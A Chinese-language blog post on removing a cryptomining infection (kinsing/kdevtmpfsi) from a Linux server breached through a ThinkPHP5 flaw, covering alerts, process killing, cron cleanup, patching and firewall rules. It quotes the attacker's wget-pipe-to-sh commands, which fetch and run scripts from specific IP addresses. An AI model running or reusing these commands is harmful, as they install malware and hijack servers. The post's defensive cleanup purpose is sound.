Linux挖矿病毒清理

2,515 阅读2分钟

这个病毒很鸡贼,每天零点开始运行,到早上八点结束,而且还会删除挖矿脚本及日志,悄悄的安排上计划任务,零点再去下载挖矿项目

阿里云给出的安全警告

命令执行攻击成功警报(框架漏洞或者由Redis弱口令等)

15780205888328

  1. 从这个命令攻击得知是通过tp框架的漏洞调用方法,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,解决方法:ThinkPHP5.*版本发布安全更新
  2. 注意攻击者利用shell_exec函数可以执行Linux命令并附带了 wget -q -O - http://142.44.191.122/spr.sh|sh 获取下载执行 spr.sh 脚本

主动连接恶意下载源警报

15779379772586

  1. 访问 http://142.44.191.122/spre.sh 直接下载了文件spre.sh

  2. 此文件代码只有一个目的获取权限执行命令下载 http://142.44.191.122/spr.sh 上的 spr.sh 文件

  3. spr.sh 执行计划任务,下载挖矿项目

连接矿池异常警报

15780204875280

服务器有连接矿池的行为,由此可以确定服务器是被黑客攻击用来挖矿了

解决方案

一、堵住攻击入口,ThinkPHP5.*版本安全更新

  1. 使用强路由
  2. 更新版本或手动修复添加控制器过滤

二、查找挖矿相关进程杀掉

# 部分病毒进程示例
kinsing
kdevtmpfsi
kworker
watchdogs
ksoftirqd
migration
khungtaskd
  1. 查找命令ps -aux| grep kinsing 杀进程命令kill 9 PID 如杀不死查看这个进程的守护进程,先杀守护进程再杀此进程

  2. 删除与进程相关的文件 查找文件 find / -name kinsing

三、排查服务器定时计划任务

  1. 查看服务器计划任务,发现与之有关的任务
$ crontab -l
# 每天00:02会执行此任务
$ 2 0 * * * "/root/.acme.sh"/acme.sh --cron --home "/root/.acme.sh" > /dev/null

#顺腾摸瓜找到 /root/.acme.sh/acme.sh ,直接暴力删除.acme.sh/文件夹
  1. 查看**/var/spool/cron/**下面的所有文件防止漏网之鱼,增加了crontab任务后,在/var/spool/cron目录下会有一个当前登录账号命名的文件
$  * * * * * wget -q -O - http://195.3.146.118/t.sh | sh > /dev/null 2>&1
$  2 0 * * * "/root/.acme.sh"/acme.sh --cron --home "/root/.acme.sh" > /dev/null

删除计划任务,慎用 crontab -r

四、 重置用户权限和账号密码

对运行病毒任务的用户组及用户进行密码修改,权限限制或者直接删除

五、设置服务器安全组规则

  1. 将用不到的端口访问规则都删除,只设置用到的端口

  2. 出方向拒绝ECS访问以下IP地址(出现在警告里以及病毒shell代码里出现的ip)

这里的授权对象IP地址涉及到一个知识点:CIDR

可通过淘宝IP地址库查看IP地址归属和本机的外网IP

PS:终极解决办法是重装系统,从头来过

参考:

云服务器ECS感染木马病毒后的解决方法

Linux挖矿病毒的清除与分析

事件分析 | Linux watchdogs 感染性隐藏挖矿病毒入侵还原录